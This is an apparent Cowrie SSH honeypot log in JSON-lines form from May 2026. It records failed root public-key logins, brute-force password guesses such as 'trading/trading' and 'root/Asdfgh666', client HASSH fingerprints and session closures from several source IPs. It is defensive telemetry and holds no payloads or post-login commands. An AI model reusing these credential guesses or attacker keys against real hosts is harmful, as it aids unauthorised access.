{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu427SBqk98dnR6eq8NIhkpPq0+4WooqME8n7PDbyUwBL/VN+Ni/Z6EcfExeziIIIXMAi5vIJUJMn1Eb4c8dXmkYYos/1gYusd0/B4QTa/HjtqIAFhNDoY59Nhjeo76aGmTWlAxKx+Sdr/1cRDCCU+SuTA4MwwC6scOQxUin9eMlfOQ3v1WeFLBWLZpKhYUFU2a4PNh0IqyGgLR+jWI9o1OZ0dxyhA3+P2j+QNOsxpuoAPSDZL/r08bIb2mSSv/BfW80tH+fxswLF+kRKJCG8HZyzHsA/aYo4ULXv4D2QsxjFnXoB5qOY5V4VoczvJjpDF5Iy0jDs2jglvx4cvSKyV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.158928Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:e0:a3:93:18:8a:c6:2d:26:c3:3d:e3:8d:1d:b5:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu427SBqk98dnR6eq8NIhkpPq0+4WooqME8n7PDbyUwBL/VN+Ni/Z6EcfExeziIIIXMAi5vIJUJMn1Eb4c8dXmkYYos/1gYusd0/B4QTa/HjtqIAFhNDoY59Nhjeo76aGmTWlAxKx+Sdr/1cRDCCU+SuTA4MwwC6scOQxUin9eMlfOQ3v1WeFLBWLZpKhYUFU2a4PNh0IqyGgLR+jWI9o1OZ0dxyhA3+P2j+QNOsxpuoAPSDZL/r08bIb2mSSv/BfW80tH+fxswLF+kRKJCG8HZyzHsA/aYo4ULXv4D2QsxjFnXoB5qOY5V4VoczvJjpDF5Iy0jDs2jglvx4cvSKyV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.163237Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvyK7KroMxocxEfT93lyF+U71353OF5LyYheelh4A84T3ideTIES7t9mnI4vrNiwvHvWQPPyCNy9XWOkVm2dcLsXj+X2wMz+1xh3Rzg2GGE0BbOMHFjH8S+wIuIZA7qDSq3KMz1Gpjj5zp1orbjpgVAT9Rx7e68qDRGi1tXJ+4TLTwPv9rjvdsUKI0NnAZfb7JKMGHb2THtRzo1CmOjSVZeWiEluSPOXZS75WKWHWy9+0bS+cKXnET7O5k2V2aGbXcBr0RK1Aj8D8P0hUhGKrE9jyyRc1QoiSgRjI9w1cW9SLMf3eeD29qbBjYeN0gpZmYlN+zTCXZBawHWnAhDH0geGFkTnuSS4AOhNDSXp/gVOLbOHuS6hPY6l+Csosgw7FeuGg66Nrn2i86cBhCuOm0DY/G6HruGqOss6WDkNiWbRyOQPHL179/ALdR9/ZGEYAGzOX4ZWBAljLiIKMnQKyUDVNp5R4R3r0KvKfcCs/mnTJeNevGXdm/xsHnr/9mJL2yjrQQc4Z0HBVnrWwku/BYIh+SeWgOsmjRhnnlonu4DlSDUqqO+vxLq1FdvYo2mHVT5OpJA2bb2k5EO2fyrREH5uFIvtIrgBxIiN2IeMdWm2k5emTO345PCx3teIQtkIRhtbQYK4I8UdoORIUKqVk22xmb8fVrIrYaScPWRfeFLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.274844Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:42:36:67:71:99:85:23:50:0a:a6:ca:74:78:6d:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvyK7KroMxocxEfT93lyF+U71353OF5LyYheelh4A84T3ideTIES7t9mnI4vrNiwvHvWQPPyCNy9XWOkVm2dcLsXj+X2wMz+1xh3Rzg2GGE0BbOMHFjH8S+wIuIZA7qDSq3KMz1Gpjj5zp1orbjpgVAT9Rx7e68qDRGi1tXJ+4TLTwPv9rjvdsUKI0NnAZfb7JKMGHb2THtRzo1CmOjSVZeWiEluSPOXZS75WKWHWy9+0bS+cKXnET7O5k2V2aGbXcBr0RK1Aj8D8P0hUhGKrE9jyyRc1QoiSgRjI9w1cW9SLMf3eeD29qbBjYeN0gpZmYlN+zTCXZBawHWnAhDH0geGFkTnuSS4AOhNDSXp/gVOLbOHuS6hPY6l+Csosgw7FeuGg66Nrn2i86cBhCuOm0DY/G6HruGqOss6WDkNiWbRyOQPHL179/ALdR9/ZGEYAGzOX4ZWBAljLiIKMnQKyUDVNp5R4R3r0KvKfcCs/mnTJeNevGXdm/xsHnr/9mJL2yjrQQc4Z0HBVnrWwku/BYIh+SeWgOsmjRhnnlonu4DlSDUqqO+vxLq1FdvYo2mHVT5OpJA2bb2k5EO2fyrREH5uFIvtIrgBxIiN2IeMdWm2k5emTO345PCx3teIQtkIRhtbQYK4I8UdoORIUKqVk22xmb8fVrIrYaScPWRfeFLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.278918Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAypT9zBVzcpOzmMNFXlI3nCmUEZLoMQJPzj0l5TadZaGPEfGi+ku6orzcdoKTjF9euuHz4j363sYjVMG8L1PwNUY0Fkg2ZMvQnI6J5L3sW8s3fC2gBa6uHhPBFpDtTu/dD8BhTRNA3oyo/rtDOsNYSitGIrZ0d38VCaf/HNLYk1mChf9JVg33fwSSEHZ9+g5UwjuEHIjwKfu63JOqm4JQOB77vwlPlds4ySlYtKS+pahbDKZsOBJ5Wz/x8Dcv7Fah1wmOOshBvfk6yl29WBcnARECo7tDWxAdzTmsFuGgGiGTg/yNEtR4lceaFIHPFmA+CARKmeiPiwSY/Qr+uBoD563mcfRRaYrjqA1X0R05KELU6Zu5ccgBOP/NSBKjiPbRkSXgKYdIXfYThtKbrv8YZ2dIC+E1KsZ3yxnB0gKqbs04sm5L7ArIJibHTs6T2gf3jttdmACOTOpZvMsCDX0Emzk71D/cChoqb7yCAfeMKd/HRBwW4qKpdvQ2cGtTKj4q4WYpiroSYB1364HJQ/Xml6hU6Zb6Q6QMttMgD32aKw2buJgHjUZlvH9yklFgbGuOYHb2+308+1HtC4F7c6mDeGjPmS1bXJaDddg9YYbjbj5g1OYJdFjyi+JwPu77H+/xpHX8J24j3V2IZVjnVA4F6t6is4fYyqPSp/KGOwj1FAc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.391451Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:5e:5e:90:61:7d:eb:31:63:e3:1a:15:62:1a:02:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAypT9zBVzcpOzmMNFXlI3nCmUEZLoMQJPzj0l5TadZaGPEfGi+ku6orzcdoKTjF9euuHz4j363sYjVMG8L1PwNUY0Fkg2ZMvQnI6J5L3sW8s3fC2gBa6uHhPBFpDtTu/dD8BhTRNA3oyo/rtDOsNYSitGIrZ0d38VCaf/HNLYk1mChf9JVg33fwSSEHZ9+g5UwjuEHIjwKfu63JOqm4JQOB77vwlPlds4ySlYtKS+pahbDKZsOBJ5Wz/x8Dcv7Fah1wmOOshBvfk6yl29WBcnARECo7tDWxAdzTmsFuGgGiGTg/yNEtR4lceaFIHPFmA+CARKmeiPiwSY/Qr+uBoD563mcfRRaYrjqA1X0R05KELU6Zu5ccgBOP/NSBKjiPbRkSXgKYdIXfYThtKbrv8YZ2dIC+E1KsZ3yxnB0gKqbs04sm5L7ArIJibHTs6T2gf3jttdmACOTOpZvMsCDX0Emzk71D/cChoqb7yCAfeMKd/HRBwW4qKpdvQ2cGtTKj4q4WYpiroSYB1364HJQ/Xml6hU6Zb6Q6QMttMgD32aKw2buJgHjUZlvH9yklFgbGuOYHb2+308+1HtC4F7c6mDeGjPmS1bXJaDddg9YYbjbj5g1OYJdFjyi+JwPu77H+/xpHX8J24j3V2IZVjnVA4F6t6is4fYyqPSp/KGOwj1FAc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.395600Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:26:10.506026Z","src_ip":"172.110.219.251","session":"14e6d806c92f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56216,"dst_ip":"159.203.135.109","dst_port":22,"session":"059627e6032a","protocol":"ssh","message":"New connection: 2.57.122.208:56216 (159.203.135.109:22) [session: 059627e6032a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:27:39.429141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:27:39.523103Z","src_ip":"2.57.122.208","session":"059627e6032a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:27:39.624464Z","src_ip":"2.57.122.208","session":"059627e6032a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:27:40.324643Z","src_ip":"2.57.122.208","session":"059627e6032a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:27:41.527050Z","src_ip":"2.57.122.208","session":"059627e6032a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.18","src_port":46486,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdbb86b2115a","protocol":"ssh","message":"New connection: 176.65.132.18:46486 (159.203.135.109:22) [session: fdbb86b2115a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.392918Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.398417Z","src_ip":"176.65.132.18","session":"fdbb86b2115a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.18","src_port":46500,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99a5c1b3d90","protocol":"ssh","message":"New connection: 176.65.132.18:46500 (159.203.135.109:22) [session: a99a5c1b3d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.497524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.502749Z","src_ip":"176.65.132.18","session":"a99a5c1b3d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.586827Z","src_ip":"176.65.132.18","session":"a99a5c1b3d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfgh666","message":"login attempt [root/Asdfgh666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:57.876940Z","src_ip":"176.65.132.18","session":"a99a5c1b3d90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:28:58.964536Z","src_ip":"176.65.132.18","session":"a99a5c1b3d90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":17270,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b3327c331b","protocol":"ssh","message":"New connection: 68.235.62.179:17270 (10.17.0.5:22) [session: 27b3327c331b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.033630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.039423Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.074814Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:60:b7:46:dc:ad:59:8c:ab:91:04:cc:a4:f6:09:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Ml7AO9a7xRbRUl0XajUM0YttI4/Ljv/vVE2EmAQKJa+1g0GbGdwMbksPXjRSkqqcSEg9aouKR/iEElep8OQitii+t6CPfGH3nGnOYGv1KkL4sQLVNjxV5pqMy00nIPElenO6Q0XvqJ3S+k950nmQMRkODFzGzaGN4XiXJS8fpZ/ZFfPY3/kdouW3NXTm9/8eN/WXS3h8erLB8cdTo6+XC3vdH1NpbJW5rCqsIeEn02c/5RXET/TH04+scUFCtfJyRtvzmg63aez7CQolvB0B9pTU744SRNC+ZG8wBL501DoHBGEKLmUs2duxwkQoYO1TYbLLOrhxSreOL/WRRg/l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:60:b7:46:dc:ad:59:8c:ab:91:04:cc:a4:f6:09:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.224242Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:60:b7:46:dc:ad:59:8c:ab:91:04:cc:a4:f6:09:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Ml7AO9a7xRbRUl0XajUM0YttI4/Ljv/vVE2EmAQKJa+1g0GbGdwMbksPXjRSkqqcSEg9aouKR/iEElep8OQitii+t6CPfGH3nGnOYGv1KkL4sQLVNjxV5pqMy00nIPElenO6Q0XvqJ3S+k950nmQMRkODFzGzaGN4XiXJS8fpZ/ZFfPY3/kdouW3NXTm9/8eN/WXS3h8erLB8cdTo6+XC3vdH1NpbJW5rCqsIeEn02c/5RXET/TH04+scUFCtfJyRtvzmg63aez7CQolvB0B9pTU744SRNC+ZG8wBL501DoHBGEKLmUs2duxwkQoYO1TYbLLOrhxSreOL/WRRg/l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.228405Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:4d:6a:22:3e:69:e2:f3:f3:f8:6a:da:01:0a:c6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXTnlw13xD2vnqv1ymB4dCT6rtppPnfjr6LYB/hlhcB9lRvGfFgD8KxT/uR+U8cUDw9+9VW8Gpe4HOIsClIfxllDsvW9fKNuF2Wk0uTiCBeEWn/y0DxsBFMu8eGIQ4nYnefkfK4aa7GdIqZuotbXCgVTA8o/ZyIT9dD2Bva9Fwry7S4UTMqGEFTPr6wGAEov3m01QeN7jV3/3wjlm2PxETNQRJMTeDUUi2opebWhWicQjZY6Hy29EVPqrKECWhqcIYuM5n/kDxtWgm21KjG+XBOI1G4QrPQ2Z2kGkT9a5osICw5X3dYtRIe+V9bnAn+0xwgKUWksWPSFTBkwOgWX4z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:4d:6a:22:3e:69:e2:f3:f3:f8:6a:da:01:0a:c6:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.266958Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:4d:6a:22:3e:69:e2:f3:f3:f8:6a:da:01:0a:c6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXTnlw13xD2vnqv1ymB4dCT6rtppPnfjr6LYB/hlhcB9lRvGfFgD8KxT/uR+U8cUDw9+9VW8Gpe4HOIsClIfxllDsvW9fKNuF2Wk0uTiCBeEWn/y0DxsBFMu8eGIQ4nYnefkfK4aa7GdIqZuotbXCgVTA8o/ZyIT9dD2Bva9Fwry7S4UTMqGEFTPr6wGAEov3m01QeN7jV3/3wjlm2PxETNQRJMTeDUUi2opebWhWicQjZY6Hy29EVPqrKECWhqcIYuM5n/kDxtWgm21KjG+XBOI1G4QrPQ2Z2kGkT9a5osICw5X3dYtRIe+V9bnAn+0xwgKUWksWPSFTBkwOgWX4z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.270910Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:0e:c9:35:15:97:fa:d7:ab:b9:ed:20:c5:7f:79:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0KwmBjKAxZPvEFyNaPM7bYb724H+Y3zpxKtUyYiwIgmFnVBeJWH1Edw6ootRFBCixT/LYPD4Uq30c3XBrBHY7MtXh8ebX1mq2KgF6Rt1eez6i1j3Ln7UoIVeQYRXP1VJ1XcLnB3J+l+B+S3cPrTmKKmpgZGEkN2n1An6xas1CZxqrE6uXUtI7n2k2D45u+BNwgbSQsY1tOx1+20DTt4PmIXkUNIiERrkoRyHiBVnLcc4TEhARuw7jCARKZLqpGLaxo2IsIEXGp9id8fSHcQob9S8ZHJXHZ7UHXT4dsFtzibAJPEfIw2WmMlyEBdTnCRdpQkBa0moofDUm8g4eFXp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:0e:c9:35:15:97:fa:d7:ab:b9:ed:20:c5:7f:79:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.305255Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:0e:c9:35:15:97:fa:d7:ab:b9:ed:20:c5:7f:79:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0KwmBjKAxZPvEFyNaPM7bYb724H+Y3zpxKtUyYiwIgmFnVBeJWH1Edw6ootRFBCixT/LYPD4Uq30c3XBrBHY7MtXh8ebX1mq2KgF6Rt1eez6i1j3Ln7UoIVeQYRXP1VJ1XcLnB3J+l+B+S3cPrTmKKmpgZGEkN2n1An6xas1CZxqrE6uXUtI7n2k2D45u+BNwgbSQsY1tOx1+20DTt4PmIXkUNIiERrkoRyHiBVnLcc4TEhARuw7jCARKZLqpGLaxo2IsIEXGp9id8fSHcQob9S8ZHJXHZ7UHXT4dsFtzibAJPEfIw2WmMlyEBdTnCRdpQkBa0moofDUm8g4eFXp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.308978Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
